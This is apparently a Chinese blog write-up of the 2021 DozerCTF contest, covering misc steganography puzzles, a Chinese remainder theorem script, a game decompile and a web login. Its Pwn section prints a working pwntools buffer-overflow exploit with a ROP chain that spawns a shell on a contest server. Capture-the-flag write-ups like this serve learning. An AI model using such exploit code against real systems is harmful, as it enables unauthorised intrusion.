当前位置:网站首页>2021DozerCTF
2021DozerCTF
2022-08-10 20:29:00 【MssnHarvey】
Misc
不会有人以为re那道才是签到吧
B站视频藏有flag:DozerCTF{w3lc0me_to_Do2erCTF}
ezmisc
binwalk + foremost 分离出个 gif 和 png ①.gif 分离发现二维码不对劲,于是乎回到图片根据gif的头和尾手工分离出gif,得到有用信息:DozerCTF{is_it_simple
②.png 零宽,通过在线网站解码得到有用信息:_for_you!congratulate}
最终整理得到flag:DozerCTF{is_it_simple_for_you!congratulate}
detective_novel
老套娃了!上手 binwalk + foremost分离出两张图片,接着再分离一波hint.png
得到一加密包,but 我们用bandzip就是未加密,跳舞小人解得key为DOZER
最后根据hint的图片提示得知是outguess,解密得到flag:DozerCTF{Y0u_arE_h0lME4}
outguess -k "DOZER" -r flag.jpg flag.txt
一点也不杂
①.日历画图 将图片用记事本打开滑到最底下发现一串数字,通过日历将其逐个连接得到:DOYOUKNOW_CRT
040513202625181104
0506071522282726181105
051307132027
0506071522282726181105
051219262728211407
0512192606122028
26191205132129221508
0506071522282726181105
0325052707
252627
07060504111825262728
25181104050612111927
05060706132027
②.中国剩余定理 百度找个脚本跑下得到key为5007
# 求两个数的最大公约数gcd函数
def gcd(a,b):
if b == 0:
return a
else :
return gcd(b,a % b)
# 判断一个列表任意两个数是否两两互质
def compare(list):
for i in range(0,len(list)):
flag = 1
for j in range(i+1,len(list)):
if gcd(list[i],list[j]) != 1:
print('不能直接使用中国剩余定理!')
exit()
#如果满足条件,就会继续执行,否则退出程序
# 求出输入的m1,m2,..,mk 的乘积m
def product_m(list):
m = 1
for i in list:
m *= i
return m
# 求M1,M2,..,MK 的值 Mj = m / mj 并返回一个名为shang的列表
def get_divsion(list,m):
div = []
for i in list:
div.append(m // i)
return div
def get_inverse(a, m): # 求一个数a 的逆 再模m 的值 这个函数返回的是一个值不是列表
if gcd(a, m) != 1:
return None
u1, u2, u3 = 1, 0, a
v1, v2, v3 = 0, 1, m
while v3 != 0:
q = u3 // v3
v1, v2, v3, u1, u2, u3 = (u1 - q * v1), (u2 - q * v2), (u3 - q * v3), v1, v2, v3
return u1 % m
# 求Xj 算法为:Xj = (M * M_INVERSE * a) % mj
def get_x(M:int ,M_inverse:int ,a :int,m:int):
product_x = (M * M_inverse * a) % m
return product_x
# 算出最终答案X = X1+X2+...Xk
def get_solution(list_m, list_a):
# compare(list_m)
m = product_m(list_m)
list_M = get_divsion(list_m, m)
list_M_inverse = []
list_X = []
total = 0
for i in range(0,len(list_M)):
list_M_inverse.append(get_inverse(list_M[i], list_m[i]))
for i in range(len(list_M)):
list_X.append(get_x(list_M[i],list_M_inverse[i],list_a[i],m))
for x in list_X:
total += x
return total % m
# #测试数据
# list_a = [2,3,2]
# list_m = [3,5,7]
list_a = [2,2,9,16]
list_m = [5,7,17,23]
print(get_solution(list_m, list_a))
③.base85解码
最终整理得到flag:DozerCTF{DOYOUKNOW_CRT5007_good_over}
funny_pixel
对比两张一样的图片找到不同的像素点,然后将每张图片的0和1提取出来8位一组转字符,得到flag:DozerCTF{D0_yOU_LIke_PixEl} 附上脚本
from PIL import Image
res = ''
for a in range(1,219):
img = Image.open('./funny_pixel/'+str(a)+'.png')
x, y = img.size
t = 0
for i in range(x):
for j in range(y):
p = img.getpixel((i,j))
if p ==(239, 239, 39):
t+=1
if t==10:
res+='0'
else:
res+='1'
tmp=[]
for i in range(len(res)//8):
tmp.append(res[i*8:i*8+8])
for i in tmp:
print(chr(int(i,2)),end='')
Pwn
PwnPwnPwn
调用gets函数直接向string写入/bin/sh,得到flag:Dozerctf{pwn_is_so_good_i_love_pwn}
附上exp
from pwn import *
p=remote("1.14.160.21","20001")
payload='A'*0x78+p64(0x401313)+p64(0x404060)+p64(0x401080)+p64(0x401176)
p.sendline(payload)
p.interactive()
Reverse
i wanna 大晚上特供版
gm8decompiler解包得到.gmk文件在gamemake中打开,最终在背景图中找到flag:Dozerctf{i_wanna_To_be_THE_gay}
.\gm8decompiler.exe "I Wanna Be The Guy Remake 8.exe"
Web
简单域渗透Ⅱ-1
根据提示账号密码为dozer/dozer123进入后台,发现有日志,翻了翻找到了文件名成功坐上大佬的车
于是乎直接读flag得到flag:Dozerctf{k94jf8ejdbzks2l4o40rjdnfewrkyosd}
边栏推荐
- 【语义分割】2017-PSPNet CVPR
- APP application related instructions in Auto.js
- Kubernetes 笔记 / 入门 / 生产环境 / 用部署工具安装 Kubernetes / 用 kubeadm 启动集群 / 用 kubeadm 创建集群
- Kyligence 通过 SOC 2 Type II 审计,以可信赖的企业级产品服务全球客户
- 【二叉树】二叉搜索树的后序遍历序列
- leetcode 85.最大矩形 单调栈应用
- 线性结构----链表
- 转铁蛋白修饰长春新碱-粉防己碱脂质体|转铁蛋白修饰共载紫杉醇和金雀异黄素脂质体(试剂)
- Demis Hassabis:AI 的强大,超乎我们的想象
- [SemiDrive source code analysis] [MailBox inter-core communication] 52 - DCF Notify implementation principle analysis and code combat
猜你喜欢
随机推荐
YOLOv3 SPP源码分析
哈工大软件构造Lab3(2022)
指针常量和常量指针
Transferrin-modified vincristine-tetrandrine liposomes | transferrin-modified co-loaded paclitaxel and genistein liposomes (reagents)
【golang map】 深入了解map内部存储协议
APP application related instructions in Auto.js
Apache DolphinScheduler 3.0.0 正式版发布!
ctfshow-osint
leetcode 547.省份数量 并查集
npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.
饿了么-机构树单选
Kubernetes 笔记 / 入门 / 生产环境 / 用部署工具安装 Kubernetes / 用 kubeadm 启动集群 / 用 kubeadm 创建集群
win7开机有画面进系统黑屏怎么办
“蔚来杯“2022牛客暑期多校训练营7 F
洛谷 P1629 邮递员送信 (三种最短路)
Go程序员进化史
【语义分割】2017-PSPNet CVPR
什么是抽象类?什么时候用?什么是接口?抽象类与接口的区别?
【语义分割】2016-SegNet TPAMI
铁蛋白颗粒负载雷替曲塞/培美曲塞/磺胺地索辛/金刚烷(科研试剂)